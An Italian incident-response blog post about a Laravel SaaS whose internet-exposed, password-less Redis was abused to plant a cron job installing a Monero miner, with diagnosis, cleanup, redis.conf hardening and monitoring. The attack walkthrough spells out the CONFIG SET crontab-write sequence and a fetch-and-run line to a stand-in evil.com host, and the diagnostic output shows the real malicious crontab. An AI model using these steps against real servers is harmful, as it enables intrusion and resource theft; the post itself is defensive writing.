---
title: "Redis esposto senza password su un VPS Hetzner: come un cryptominer ha messo in ginocchio un'applicazione Laravel"
description: "Redis senza autenticazione su VPS Hetzner: cryptominer installato via Lua scripting. Diagnosi, eradicazione e hardening per applicazioni Laravel. Caso reale."
canonical: "https://www.mauriziofonte.it/blog/post/emergenza-redis-laravel-vps-unmanaged.html"
author: "Maurizio Fonte"
date: "2025-07-02T08:31:04+02:00"
modified: "2026-04-14T17:48:55+02:00"
section: "Incident Response"
tags: ["Incident Response", "Database"]
license: "Riuso e citazione consentiti con attribuzione e link alla fonte"
---

[Incident Response](https://www.mauriziofonte.it/blog/cat/incident_response.html) [Database](https://www.mauriziofonte.it/blog/cat/database.html)

# [Redis esposto senza password su un VPS Hetzner: come un cryptominer ha messo in ginocchio un'applicazione Laravel](https://www.mauriziofonte.it/blog/post/emergenza-redis-laravel-vps-unmanaged.html)

Mercoledì 2 Luglio 2025, alle 08:31 ![Redis esposto senza password su un VPS Hetzner: come un cryptominer ha messo in ginocchio un'applicazione Laravel](https://www.mauriziofonte.it/image/001940200-emergenza-redis-laravel-vps-unmanaged.jpg)

A luglio 2025, il responsabile tecnico di un SaaS di gestione documentale in provincia di Novara mi ha scritto un messaggio alle 9:30 di un lunedì: "Da venerdì il server è lentissimo, CPU costantemente al 100%, non riesco a capire cosa lo sta consumando." Il SaaS - un'applicazione Laravel 10 per la gestione di pratiche edilizie, circa 400 utenti attivi - girava su un VPS Hetzner CPX31 (4 vCPU AMD, 8 GB RAM, 160 GB SSD) con il classico stack LEMP più Redis 6 per sessioni, cache e code. Il server aveva funzionato senza problemi per due anni. Poi, da venerdì, la CPU era inchiodata al 100% e l'applicazione impiegava 12 secondi a caricare qualunque pagina.

La prima ipotesi del responsabile tecnico era un aggiornamento andato male o un leak di memoria in PHP-FPM. In realtà il problema era molto peggio: qualcuno era entrato tramite Redis, aveva installato un cryptominer Monero che usava tutte le risorse della CPU, e l'applicazione Laravel era solo il danno collaterale.

## Come fa un attaccante a entrare in un server attraverso Redis?

Redis, nella sua configurazione di default, non richiede autenticazione. Chiunque possa raggiungere la porta 6379 può eseguire qualunque comando Redis, inclusa l'esecuzione di script Lua arbitrari. [Wiz Research ha documentato nel 2025 che circa 60.000 istanze Redis sono esposte su internet senza alcun controllo di autenticazione](https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844) - e la vulnerabilità CVE-2025-49844 ("RediShell"), con un CVSS di 10.0, ha dimostrato che il motore Lua integrato in Redis conteneva un bug di use-after-free presente nel codice da 13 anni, sfruttabile per ottenere esecuzione remota di codice completa sul server host.

Ma anche senza CVE-2025-49844, un Redis esposto senza password è già un disastro. L'attacco classico - quello che ha colpito il SaaS novarese - non richiede nessun exploit sofisticato. Funziona così:

1. L'attaccante scansiona internet alla ricerca di porte 6379 aperte (strumenti come `masscan` lo fanno su tutto IPv4 in poche ore).
2. Si connette con `redis-cli -h IP_DEL_SERVER` - nessuna password necessaria.
3. Usa il comando `CONFIG SET dir /var/spool/cron/crontabs` per impostare la directory di lavoro di Redis sulla directory dei crontab.
4. Usa `CONFIG SET dbfilename root` per impostare il nome del file di dump.

5. Scrive una chiave con il contenuto del crontab malevolo: `SET x "\n\n*/1 * * * * curl -s http://pool.evil.com/setup.sh | bash\n\n"`.

1. Esegue `SAVE` - Redis scrive il dump nel file `/var/spool/cron/crontabs/root`.
2. Un minuto dopo, cron esegue lo script che scarica e installa il cryptominer.

L'intero attacco richiede 6 comandi Redis e meno di 10 secondi. Non serve nessun exploit, nessun buffer overflow, nessun privilege escalation. Solo un Redis raggiungibile da internet senza password. L'[advisory ufficiale Redis sulla CVE-2025-49844](https://redis.io/blog/security-advisory-cve-2025-49844/) e il [report tecnico di Sysdig](https://www.sysdig.com/blog/cve-2025-49844-redishell) documentano come campagne precedenti - P2PInfect, HeadCrab, Migo - abbiano usato varianti di questo attacco per distribuire miner di Monero e ransomware su migliaia di server.

La portata del problema nel 2025 è documentata da numeri che dovrebbero preoccupare qualunque responsabile IT: [Infosecurity Magazine riporta che circa 60.000 istanze Redis sono esposte su internet senza autenticazione](https://www.infosecurity-magazine.com/news/redis-servers-remote-exploitation/), con la più alta concentrazione negli Stati Uniti (11.863), seguiti da Cina (6.473) e Francia (5.012). In Germania - dove Hetzner ha i suoi data center principali - le istanze vulnerabili erano 929. Ognuna di queste è un server che può essere compromesso in 10 secondi con 6 comandi.

Sul VPS del cliente novarese, la configurazione di Redis era quella installata dal pacchetto `redis-server` di Ubuntu 22.04 con una sola modifica: `bind 0.0.0.0` nel `redis.conf`, fatta due anni prima dallo sviluppatore originale "perché da localhost non funzionava" (spoiler: non funzionava perché il `.env` di Laravel aveva `REDIS_HOST=127.0.0.1` e Redis era in bind su `::1` - il fix corretto era cambiare il bind a `127.0.0.1`, non a `0.0.0.0`). Nessuna password, nessun firewall sulla porta 6379, Lua scripting abilitato di default. Un bersaglio perfetto per i bot di scansione automatizzati che girano 24 ore su 24.

Stai cercando un **Consulente Informatico** esperto per un intervento di emergenza sulla tua infrastruttura Redis e Laravel? Nel mio [profilo professionale](https://www.mauriziofonte.it/pages/about) trovi l'esperienza concreta su incident response, hardening e gestione di VPS compromessi.

## Diagnosi in 40 minuti: trovare il cryptominer

La diagnosi è partita da `htop`, che mostrava un processo chiamato `kdevtmpfsi` (un nome classico dei miner Monero) che consumava il 99,3% della CPU su tutti e 4 i core. Il processo era stato avviato dall'utente `redis` - primo segnale che l'ingresso era tramite Redis. La sequenza di comandi diagnostici:

```bash
# 1. Identificare il processo che consuma CPU
ps aux --sort=-%cpu | head -5
# → redis 28413 99.3 ... /tmp/.kdevtmpfsi

# 2. Verificare come è stato avviato
cat /proc/28413/cmdline | tr '\0' ' '
# → /tmp/.kdevtmpfsi -o stratum+tcp://pool.minexmr.com:4444 -u wallet...

# 3. Controllare il crontab di root (dove l'attaccante ha scritto)
crontab -l
# → */1 * * * * curl -s http://185.xxx.xxx.xxx/setup.sh | bash

# 4. Verificare la configurazione Redis
redis-cli CONFIG GET bind
# → "0.0.0.0"
redis-cli CONFIG GET requirepass
# → "" (vuoto = nessuna password)

# 5. Controllare connessioni esterne a Redis
ss -tnp | grep 6379 | grep -v 127.0.0.1
# → 3 connessioni da IP esterni
```

In 40 minuti avevo il quadro completo: Redis esposto senza autenticazione, l'attaccante aveva scritto un crontab via `CONFIG SET dir`, il cron scaricava e riavviava il miner ogni minuto. L'applicazione Laravel non era stata direttamente compromessa - l'attaccante non aveva toccato i dati nel database, non aveva modificato file PHP, non aveva installato backdoor nel codice. Voleva solo la CPU per minare Monero. Ma l'effetto collaterale - un server con CPU al 100% - rendeva l'applicazione inutilizzabile per gli utenti.

## Eradicazione e hardening: cosa fare in quale ordine

L'eradicazione deve essere completa - uccidere il processo non basta perché il crontab lo rilancia ogni minuto. L'ordine conta:

```bash
# 1. Rimuovere il crontab malevolo PRIMA di uccidere il processo
crontab -r  # rimuove tutti i crontab di root - verificare prima con crontab -l

# 2. Uccidere il processo miner
kill -9 $(pgrep kdevtmpfsi)

# 3. Rimuovere i file del miner
rm -f /tmp/.kdevtmpfsi /tmp/.kinsing /var/tmp/.kdevtmpfsi

# 4. Bloccare immediatamente Redis dall'esterno
iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

# 5. Riavviare Redis con bind su localhost
sed -i 's/^bind 0.0.0.0/bind 127.0.0.1/' /etc/redis/redis.conf
systemctl restart redis-server
```

Dopo l'eradicazione, l'hardening permanente. Le quattro impostazioni di `redis.conf` che devono essere presenti su ogni installazione Redis di produzione, senza eccezioni:

```ini
# /etc/redis/redis.conf - hardening minimo

# 1. Bind SOLO su localhost (mai 0.0.0.0)
bind 127.0.0.1

# 2. Password obbligatoria (generata con openssl rand -base64 32)
requirepass "tua_password_lunga_e_casuale_qui"

# 3. Rinominare o disabilitare comandi pericolosi
rename-command CONFIG ""
rename-command DEBUG ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""

# 4. Disabilitare Lua scripting se non usato (raro in contesti Laravel)
# Su Redis 7.0+: usa ACL per revocare il permesso scripting
# Su Redis 6.x: rename-command EVAL "" e rename-command EVALSHA ""
rename-command EVAL ""
rename-command EVALSHA ""
```

Il `rename-command CONFIG ""` è il singolo cambiamento più importante: disabilita il comando `CONFIG` che l'attaccante ha usato per scrivere il crontab. Senza `CONFIG`, anche un Redis senza password non può essere usato per scrivere file arbitrari sul filesystem. Il `rename-command FLUSHALL ""` previene la cancellazione totale dei dati - un altro attacco comune su Redis esposti.

Il `rename-command EVAL ""` disabilita il motore Lua, che è il vettore della CVE-2025-49844 (RediShell). Laravel non usa `EVAL` per le operazioni standard di cache, sessione e code - le usa solo pacchetti specifici come `laravel-prometheus` di Spatie per metriche custom. Se non usi Lua scripting esplicitamente nel tuo progetto, disabilitarlo non ha effetti collaterali e chiude un vettore di attacco con CVSS 10.0.

Sul `.env` di Laravel, la password va aggiunta nel parametro `REDIS_PASSWORD`:

```env
REDIS_PASSWORD=tua_password_lunga_e_casuale_qui
```

Laravel la legge automaticamente da `config/database.php` nella sezione `redis.default.password`.

Per chi gestisce applicazioni Laravel dove Redis è usato non solo per cache ma anche per sessioni e code - il caso della maggior parte dei progetti in produzione - un'interruzione di Redis significa sessioni perse, code bloccate e utenti disconnessi. L'articolo sulla [riduzione di un checkout da 4,2 secondi a 280 millisecondi](https://www.mauriziofonte.it/blog/post/ottimizzazione-performance-php-server-hetzner-ovh-digital-ocean.html) descrive come Redis si integra nel tuning complessivo di un'applicazione Laravel e perché la sua stabilità è critica per le performance.

## Dopo l'emergenza: monitoring e prevenzione

Dopo aver ripulito e blindato Redis, il passo successivo è verificare che l'attaccante non abbia fatto altro oltre al cryptominer. Sul VPS del cliente novarese, il check è stato relativamente rapido perché l'attaccante aveva usato l'utente `redis` (non root) e Redis non aveva privilegi di scrittura al di fuori della sua directory e di `/var/spool/cron/crontabs`. Ho verificato comunque:

```bash
# File modificati negli ultimi 30 giorni fuori dalle directory standard
find / -type f -mtime -30 \
    -not -path "/proc/*" -not -path "/sys/*" \
    -not -path "/var/log/*" -not -path "/tmp/*" \
    -not -path "/var/cache/*" \
    -user redis -o -user www-data 2>/dev/null | sort

# Crontab di tutti gli utenti, non solo root
for u in $(cut -d: -f1 /etc/passwd); do
    crontab -u "$u" -l 2>/dev/null | grep -v "^#" | grep -v "^$" && echo "^^^ user: $u"
done

# Chiavi SSH aggiunte
find /root/.ssh /home -name "authorized_keys" -exec grep -l "." {} \;

# Processi che ascoltano su porte inattese
ss -tlnp | grep -v -E ':(22|80|443|3306|6379|9100)\b'
```

Nessun segno di ulteriore compromissione. L'attaccante era un bot automatizzato, non un operatore umano - il pattern (scansione porta 6379, scrittura crontab, installazione miner) è identico a quello documentato nelle campagne P2PInfect e HeadCrab che hanno colpito migliaia di server negli ultimi due anni. Un operatore umano avrebbe sfruttato l'accesso per installare una backdoor persistente; un bot installa il miner e passa al prossimo target.

Ho poi aggiunto due check al sistema di monitoring Prometheus del server. Il primo monitora le connessioni a Redis dall'esterno - se qualcuno riesce a connettersi da un IP che non è 127.0.0.1, l'alert scatta immediatamente. Il secondo monitora l'uso CPU del processo Redis: in un'applicazione Laravel tipica, Redis usa meno dell'1% della CPU. Se sale sopra il 5%, qualcosa non va - o un leak di connessioni, o un attacco in corso, o un pattern di accesso anomalo nel codice.

Per il protocollo completo di incident response - dal contenimento alla forensics alla comunicazione, con le tempistiche NIS2 per la notifica - ho scritto una guida dedicata all'[incident response in 72 ore per Laravel e Symfony](https://www.mauriziofonte.it/blog/post/incident-response-72-ore-laravel-symfony-nis2-pmi.html). Il caso del cryptominer novarese non richiedeva notifica al Garante (nessun dato personale esfiltrato), ma la documentazione dell'incidente e delle azioni correttive è comunque obbligatoria per la compliance NIS2 se l'azienda rientra tra le entità essenziali o importanti.

Il risultato sul cliente novarese: dal momento della mia presa in carico alla risoluzione completa sono passate 3 ore. Il cryptominer è stato rimosso, Redis è stato blindato, il monitoring è stato attivato. La CPU è scesa dal 100% al 2% e l'applicazione è tornata a rispondere in 300 millisecondi. Il costo dell'incidente - tre giorni lavorativi con l'applicazione quasi inutilizzabile - è stato stimato dal responsabile tecnico in circa 8.000 euro di produttività persa (400 utenti che non potevano lavorare sulle pratiche edilizie). Il costo dell'hardening che avrebbe prevenuto tutto: 15 minuti di configurazione di `redis.conf` il giorno dell'installazione.

Per chi gestisce VPS con applicazioni Laravel e vuole un quadro completo su come mettere in sicurezza l'intera infrastruttura - non solo Redis ma anche MySQL, PHP-FPM, SSH e il web server - ho scritto una guida operativa sull'[hardening di server Debian e Ubuntu per applicativi PHP delle PMI](https://www.mauriziofonte.it/blog/post/hardening-server-debian-ubuntu-applicativi-php-sicurezza-pmi.html).

Se il tuo VPS ha Redis installato e non sei sicuro che sia configurato correttamente - o se noti un consumo di CPU anomalo che non riesci a spiegare - il primo check da fare è `redis-cli CONFIG GET bind` e `redis-cli CONFIG GET requirepass`. Se il bind è `0.0.0.0` e la password è vuota, il tuo server è esposto esattamente come quello del cliente novarese. La buona notizia è che l'hardening richiede 15 minuti e zero investimenti - è una modifica al file di configurazione e un restart del servizio. La cattiva notizia è che ogni minuto in cui Redis resta esposto senza password è un minuto in cui un bot automatizzato può scrivere un crontab sul tuo server. E a differenza di un attaccante umano che potresti fermare con un IDS, i bot non dormono, non fanno pause caffè, e scansionano l'intero spazio IPv4 in poche ore. [Contattami](https://www.mauriziofonte.it/pages/contattami) se hai bisogno di un audit Redis e hardening: in mezza giornata verifico la configurazione, applico le restrizioni e imposto il monitoring per dormire tranquillo.

Dall'articolo al lavoro vero

Questo problema di sicurezza, sul tuo sistema

Audit del codice e dei server, penetration test, adeguamento NIS2 e risposta agli incidenti.

[Vedi come lavoro sulla sicurezza](https://www.mauriziofonte.it/servizi/consulenza-cybersecurity-nis2.html) Ultima modifica: Martedì 14 Aprile 2026, alle 17:48 [« Articolo precedenteEmail transazionali di Laravel che finiscono in spam o non arrivano: diagnosi e fix su VPS unmanaged2 Luglio 2025](https://www.mauriziofonte.it/blog/post/smtp-urgente-vps-laravel.html)[Articolo successivo »Backup Laravel su VPS che falliscono da tre mesi senza che nessuno se ne accorga: diagnosi e strategia di ripristino3 Luglio 2025](https://www.mauriziofonte.it/blog/post/backup-fallito-strategia-urgente-laravel-vps.html)

### Articoli correlati a Redis esposto senza password su un VPS Hetzner: come un cryptominer ha messo in ginocchio un'applicazione Laravel

- [Gestione urgente di intrusioni su VPS: guida al ripristino rapido e sicuro per server Debian e Ubuntu](https://www.mauriziofonte.it/blog/post/gestione-urgente-intrusioni-vps-unmanaged-debian-ubuntu.html)

  VPS compromesso: CPU al 100 , login SSH a forza bruta riusciti, un cryptominer nascosto in /dev/shm camuffato da thread del kernel. Il playbook · 8 Luglio 2025

  ![Gestione urgente di intrusioni su VPS: guida al ripristino rapido e sicuro per server Debian e Ubuntu](https://www.mauriziofonte.it/image/002010070-gestione-urgente-intrusioni-vps-unmanaged-debian-ubuntu.jpg)
- [Ottimizzare sessioni PHP su VPS gestite senza supporto tecnico: guida avanzata per Debian e Ubuntu](https://www.mauriziofonte.it/blog/post/ottimizzare-sessioni-php-vps-debian-ubuntu.html)

  Un portale Laravel con 200 utenti simultanei che diventava inutilizzabile nelle ore di punta: AJAX bloccati per 8 12 secondi, logout casuali, · 15 Luglio 2025

  ![Ottimizzare sessioni PHP su VPS gestite senza supporto tecnico: guida avanzata per Debian e Ubuntu](https://www.mauriziofonte.it/image/002100070-ottimizzare-sessioni-php-vps-debian-ubuntu.jpg)
- [MySQL esposto su un VPS Hetzner con root senza password: il CIS benchmark che applico nelle prime due ore di hardening](https://www.mauriziofonte.it/blog/post/hardening-urgente-mysql-laravel-vps.html)

  Su un VPS Hetzner AX41 con un e commerce Laravel, MySQL 8.0 era raggiungibile da internet sulla porta 3306, l'utente root non aveva password, · 4 Luglio 2025

  ![MySQL esposto su un VPS Hetzner con root senza password: il CIS benchmark che applico nelle prime due ore di hardening](https://www.mauriziofonte.it/image/001970070-hardening-urgente-mysql-laravel-vps.jpg)
- [Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni](https://www.mauriziofonte.it/blog/post/ripristino-laravel-attacco-informatico-emergenza.html)

  Un CRM Laravel 9 per una PMI logistica veneta è stato compromesso perché un file .env con l'APP KEY era stato committato su un repository GitHub · 30 Giugno 2025

  ![Applicazione Laravel compromessa via APP_KEY su GitHub: forensics, contenimento e ripristino in cinque giorni](https://www.mauriziofonte.it/image/001900070-ripristino-laravel-attacco-informatico-emergenza.jpg)
- [Server Debian e Ubuntu in emergenza: checklist operativa rapida per VPS](https://www.mauriziofonte.it/blog/post/checklist-emergenza-debian-ubuntu-vps-unmanaged.html)

  La checklist operativa in 7 fasi che uso quando un VPS Debian o Ubuntu va in crisi: triage in 60 secondi con lo USE method, diagnosi disco pieno, · 9 Luglio 2025

  ![Server Debian e Ubuntu in emergenza: checklist operativa rapida per VPS](https://www.mauriziofonte.it/image/002030070-checklist-emergenza-debian-ubuntu-vps-unmanaged.jpg)

---

**Programmatore PHP Torino**, **Ingegnere del Software** e **Cyber Security Specialist** con oltre 20 anni di esperienza nell'implementazione di soluzioni avanzate. Eseguo **porting di vecchi ambienti PHP** verso release più moderne (7.x o 8.x), mi occupo di **infrastrutture web sicure** e garantisco procedure di **hardening** e **gestione dei rischi** in linea con gli standard internazionali.  
Con la mia attività da *consulente freelance*, offro supporto a imprese e reparti IT che necessitano di **refactoring**, **messa in sicurezza** e **manutenzione evolutiva** di piattaforme web. Mi occupo di analisi del codice, identificazione delle vulnerabilità e implementazione di **best practice** per la protezione di dati e servizi critici. L'obiettivo è garantire un ambiente digitale resiliente, con un codice sorgente affidabile e manutenibile.

---

## Autore

**Maurizio Fonte**, ingegnere informatico (laurea 2008), consulente IT senior e backend engineer. Nel settore IT dal 2005, libero professionista con P.IVA dal 2014. Progetta e mantiene backend di produzione e pipeline AI private per aziende italiane.

Sull'AI lavora con casi di produzione misurabili, non con demo: RAG su documentazione italiana con pgvector (HNSW/IVFFlat), LLM self-hosted (Ollama, Mistral, Qwen) per data residency europea, MCP server custom in PHP, governance EU AI Act (Annex III, art. 16, FRIA) e sicurezza degli agent (OWASP LLM Top 10, prompt injection, excessive agency). I benchmark citati negli articoli sono eseguiti direttamente sull'hardware e sul corpus dell'autore.

## Perché questa fonte è attendibile

- **Esperienza diretta, non rassegna di terzi.** I contenuti nascono da lavoro di produzione e benchmark propri, con metriche misurate (es. un RAG self-hosted su 2.400 documenti che ha portato il tempo medio di risposta interno da 14 minuti a 90 secondi, su 60 query campione).
- **Verificabilità.** Ogni claim tecnico rimanda a fonti primarie (paper, CVE, documentazione ufficiale); il blog è un laboratorio di ricerca applicata pubblico.
- **Onestà metodologica.** Ogni soluzione dichiara anche quando NON va usata. "Production-grade, non demo-grade".

## Entità e contatti (verificabili)

Maurizio Fonte, Torino, Italia. P.IVA IT11396570019. REA TO-1331015 (Camera di Commercio di Torino).  
GitHub: https://github.com/mauriziofonte  
LinkedIn: https://www.linkedin.com/in/mauriziofonte  
Profilo: https://www.mauriziofonte.it/pages/about

---

## Come citare

> Maurizio Fonte, "Redis esposto senza password su un VPS Hetzner: come un cryptominer ha messo in ginocchio un'applicazione Laravel", mauriziofonte.it, 2025. https://www.mauriziofonte.it/blog/post/emergenza-redis-laravel-vps-unmanaged.html

Pubblicato: 2025-07-02 · Aggiornato: 2026-04-14.

**Licenza:** riuso e citazione consentiti con attribuzione esplicita e link alla fonte.
